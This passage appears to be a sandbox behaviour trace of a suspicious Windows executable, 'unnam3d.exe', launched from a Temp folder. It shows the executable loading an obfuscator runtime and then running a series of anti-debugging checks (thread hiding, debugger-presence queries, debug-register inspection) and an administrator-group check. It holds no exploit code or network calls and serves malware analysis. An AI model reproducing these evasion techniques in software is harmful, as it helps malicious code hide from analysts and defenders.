WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.007] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.080] SetEvent (hEvent=0x190) returned 1 [0068.080] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.163] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.306] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.378] SetEvent (hEvent=0x190) returned 1 [0068.378] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.494] SetEvent (hEvent=0x190) returned 1 [0068.494] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.595] SetEvent (hEvent=0x190) returned 1 [0068.595] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.690] SetEvent (hEvent=0x190) returned 1 [0068.690] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.766] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.844] SetEvent (hEvent=0x190) returned 1 [0068.844] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.928] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.062] SetEvent (hEvent=0x190) returned 1 [0069.062] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.152] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 227 os_tid = 0x688 [0067.789] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.882] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.007] SetEvent (hEvent=0x190) returned 1 [0068.007] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.080] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.163] SetEvent (hEvent=0x190) returned 1 [0068.163] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.251] SetEvent (hEvent=0x190) returned 1 [0068.251] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.330] SetEvent (hEvent=0x190) returned 1 [0068.330] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.397] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.516] SetEvent (hEvent=0x190) returned 1 [0068.516] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.623] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.704] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.780] SetEvent (hEvent=0x190) returned 1 [0068.780] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.852] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.928] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.061] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.152] SetEvent (hEvent=0x190) returned 1 [0069.152] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 228 os_tid = 0x238 [0067.789] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.882] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.983] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.140] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.219] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.292] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.356] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.428] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.542] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.650] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.743] SetEvent (hEvent=0x190) returned 1 [0068.743] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.807] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.876] SetEvent (hEvent=0x190) returned 1 [0068.876] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.947] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 229 os_tid = 0xb94 [0067.789] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.882] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.983] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.079] SetEvent (hEvent=0x190) returned 1 [0068.079] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.151] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.307] SetEvent (hEvent=0x190) returned 1 [0068.307] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.378] SetEvent (hEvent=0x190) returned 1 [0068.378] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.495] SetEvent (hEvent=0x190) returned 1 [0068.495] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.607] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.690] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.766] SetEvent (hEvent=0x190) returned 1 [0068.766] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.843] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.928] SetEvent (hEvent=0x190) returned 1 [0068.928] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.062] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.152] SetEvent (hEvent=0x190) returned 1 [0069.152] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 230 os_tid = 0x4ac [0067.844] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.906] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.024] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.088] SetEvent (hEvent=0x190) returned 1 [0068.088] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.163] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.251] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.319] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.388] SetEvent (hEvent=0x190) returned 1 [0068.388] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.495] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.595] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.689] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.765] SetEvent (hEvent=0x190) returned 1 [0068.765] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.832] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.914] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.978] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.131] SetEvent (hEvent=0x190) returned 1 [0069.131] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 231 os_tid = 0x9b8 [0067.844] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0067.906] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.024] SetEvent (hEvent=0x190) returned 1 [0068.024] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.088] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.163] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.251] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.319] SetEvent (hEvent=0x190) returned 1 [0068.319] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.388] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.495] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.608] SetEvent (hEvent=0x190) returned 1 [0068.608] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.689] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.765] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.831] SetEvent (hEvent=0x190) returned 1 [0068.831] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.914] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0068.978] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0069.130] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Process: id = "9" image_name = "unnam3d.exe" filename = "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe" page_root = "0x754a5000" os_pid = "0x730" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE\" " cur_dir = "C:\\Windows\\system32\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e74a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 232 os_tid = 0x734 [0120.530] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0121.409] GetCurrentProcess () returned 0xffffffff [0121.410] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0xb6e73c | out: TokenHandle=0xb6e73c*=0x1f0) returned 1 [0121.650] CoTaskMemAlloc (cb=0x20c) returned 0xdee938 [0121.650] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xdee938 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0121.650] CoTaskMemFree (pv=0xdee938) [0121.651] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0xb6e2a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0121.655] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", nBufferLength=0x105, lpBuffer=0xb6e298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", lpFilePart=0x0) returned 0x4a [0121.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6e680) returned 1 [0121.657] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e"), fInfoLevelId=0x0, lpFileInformation=0xb6e6fc | out: lpFileInformation=0xb6e6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2706a440, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x270905a0, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e67c) returned 1 [0121.662] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0xb6e298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0121.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6e6f8) returned 1 [0121.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll"), fInfoLevelId=0x0, lpFileInformation=0xb6e774 | out: lpFileInformation=0xb6e774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x270905a0, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x27128b20, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x218930)) returned 1 [0121.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6e6f4) returned 1 [0121.673] LoadLibraryA (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll") returned 0x713b0000 [0121.825] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75900000 [0121.825] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75c60000 [0121.825] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74f30000 [0121.826] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x76fc0000 [0121.826] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75f70000 [0121.829] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x75c00000 [0121.855] GetProcAddress (hModule=0x75900000, lpProcName="SetLastError") returned 0x759111a9 [0121.859] GetCurrentThreadId () returned 0x734 [0121.859] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x734) returned 0x208 [0121.859] GetProcessHeap () returned 0xd90000 [0121.859] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x8, Size=0x208) returned 0xdfd180 [0121.859] GetProcessHeap () returned 0xd90000 [0121.859] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x8, Size=0x10) returned 0xdf2f30 [0121.859] GetProcessHeap () returned 0xd90000 [0121.859] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x8, Size=0x208) returned 0xdfd390 [0121.859] GetProcessHeap () returned 0xd90000 [0121.859] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x8, Size=0x10) returned 0xdf2f48 [0121.859] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xdfd390 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.859] GetModuleFileNameW (in: hModule=0x713b0000, lpFilename=0xdfd180, nSize=0x104 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll")) returned 0x5b [0121.859] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e")) returned 1 [0121.860] GetUserDefaultUILanguage () returned 0x409 [0121.860] GetProcessHeap () returned 0xd90000 [0121.860] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x8, Size=0x1000) returned 0xdfd9d8 [0121.860] GetProcessHeap () returned 0xd90000 [0121.860] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x8, Size=0x10) returned 0xdf2f60 [0121.862] GetCommandLineA () returned="\"C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE\" " [0121.862] GetVersion () returned 0x1db10106 [0121.862] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x7155958a) returned 0xdf2f78 [0121.863] RaiseException (dwExceptionCode=0xc000008e, dwExceptionFlags=0x0, nNumberOfArguments=0x0, lpArguments=0x0) [0121.865] RtlRemoveVectoredExceptionHandler () returned 0x1 [0121.866] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0121.866] GetCurrentProcess () returned 0xffffffff [0121.866] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0xb6e3a0 | out: pbDebuggerPresent=0xb6e3a0) returned 1 [0121.866] GetCurrentThread () returned 0xfffffffe [0121.866] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x7158a656 | out: TokenHandle=0x7158a656*=0x0) returned 0 [0121.867] GetCurrentProcess () returned 0xffffffff [0121.867] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x7158a656 | out: TokenHandle=0x7158a656*=0x1c) returned 1 [0121.867] GetTokenInformation (in: TokenHandle=0x1c, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x7144f8a9 | out: TokenInformation=0x0, ReturnLength=0x7144f8a9) returned 0 [0121.867] VirtualAlloc (lpAddress=0x0, dwSize=0x118, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0121.867] GetTokenInformation (in: TokenHandle=0x1c, TokenInformationClass=0x2, TokenInformation=0x280000, TokenInformationLength=0x118, ReturnLength=0x7144f8a9 | out: TokenInformation=0x280000, ReturnLength=0x7144f8a9) returned 1 [0121.867] CloseHandle (hObject=0x1c) returned 1 [0121.868] AllocateAndInitializeSid (in: pIdentifierAuthority=0x71446d48, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x713f6164 | out: pSid=0x713f6164*=0xdf2f78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0121.868] EqualSid (pSid1=0xdf2f78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x280064*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x7e))) returned 0 [0121.868] EqualSid (pSid1=0xdf2f78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28006c*(Revision=0x15, SubAuthorityCount=0x0, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x7e, [3]=0x8, [4]=0xe3, [5]=0xc2), SubAuthority=0x25aadb80)) returned 0 [0121.868] EqualSid (pSid1=0xdf2f78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x280074*(Revision=0x80, SubAuthorityCount=0xdb, IdentifierAuthority.Value=([0]=0xaa, [1]=0x25, [2]=0x57, [3]=0x84, [4]=0x5d, [5]=0xa5), SubAuthority=([0]=0x1, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x1, [5]=0x1, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x1, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x1, [17]=0x2, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x5, [24]=0x20, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x20, [29]=0x2, [30]=0x0, [31]=0x0, [32]=0x1, [33]=0x2, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x5, [40]=0x20, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x21, [45]=0x2, [46]=0x0, [47]=0x0, [48]=0x1, [49]=0x1, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x5, [56]=0x4, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x1, [61]=0x1, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x2, [68]=0x1, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x1, [73]=0x1, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x5, [80]=0xb, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x1, [85]=0x1, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x5, [92]=0xf, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x1, [97]=0x3, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x5, [104]=0x5, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x4a, [113]=0xe7, [114]=0x0, [115]=0x0, [116]=0x1, [117]=0x1, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x2, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x1, [129]=0x2, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x5, [136]=0x40, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0xa, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x1, [145]=0x1, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x10, [152]=0x0, [153]=0x20, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0))) returned 0 [0121.868] EqualSid (pSid1=0xdf2f78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28007c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x1, [3]=0x1, [4]=0x0, [5]=0x0), SubAuthority=([0]=0x0, [1]=0x0))) returned 0 [0121.868] EqualSid (pSid1=0xdf2f78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x280084*(Revision=0x0, SubAuthorityCount=0x0, IdentifierAuthority.Value=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0), SubAuthority=0x201)) returned 0 [0121.868] EqualSid (pSid1=0xdf2f78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x28008c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0121.869] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.869] GetProcAddress (hModule=0x75f70000, lpProcName="IsUserAnAdmin") returned 0x75fc44f5 [0121.869] IsUserAnAdmin () returned 0 [0121.870] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0xb6e398, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0xb6e398, ReturnLength=0x0) returned 0x0 [0121.870] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1e, ProcessInformation=0xb6e398, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0xb6e398, ReturnLength=0x0) returned 0xc0000353 [0121.870] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0121.870] GetCurrentThread () returned 0xfffffffe [0121.870] GetThreadContext (in: hThread=0xfffffffe, lpContext=0x280000 | out: lpContext=0x280000*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, 